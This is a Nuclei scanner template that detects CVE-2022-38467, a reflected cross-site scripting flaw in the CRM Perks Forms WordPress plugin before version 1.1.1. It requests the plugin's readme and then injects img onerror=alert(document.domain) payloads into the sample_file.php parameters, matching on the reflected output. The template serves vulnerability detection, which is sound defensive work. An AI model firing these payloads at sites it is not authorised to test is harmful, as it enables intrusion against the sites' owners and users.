nuclei-templates/http/cves/2022/CVE-2022-38467.yaml

38 lines
1.3 KiB
YAML
Raw Normal View History

2023-04-21 08:56:01 +00:00
id: CVE-2022-38467
info:
name: CRM Perks Forms < 1.1.1 - Cross Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not sanitise and escape some parameters from a sample file before outputting them back in the page, leading to Reflected Cross-Site Scripting
remediation: Fixed in version 1.1.1
reference:
- https://wpscan.com/vulnerability/4b128c9c-366e-46af-9dd2-e3a9624e3a53
- https://wordpress.org/plugins/crm-perks-forms/
- https://nvd.nist.gov/vuln/detail/CVE-2022-38467
classification:
cve-id: CVE-2022-38467
metadata:
max-request: 2
2023-06-04 08:13:42 +00:00
verified: true
tags: crm-perks-forms,wpscan,cve,cve2022,wordpress,wp,wp-plugin,xss
2023-04-21 08:56:01 +00:00
http:
2023-04-21 08:56:01 +00:00
- raw:
- |
GET /wp-content/plugins/crm-perks-forms/readme.txt HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/crm-perks-forms/templates/sample_file.php?FirstName=<img%20src%20onerror=alert(document.domain)>&LastName=<img%20src%20onerror=alert(document.domain)>&%20Company=<img%20src%20onerror=alert(document.domain)> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_1, "CRM Perks Forms") && contains(body_2, "<img src onerror=alert(document.domain)>")'
condition: and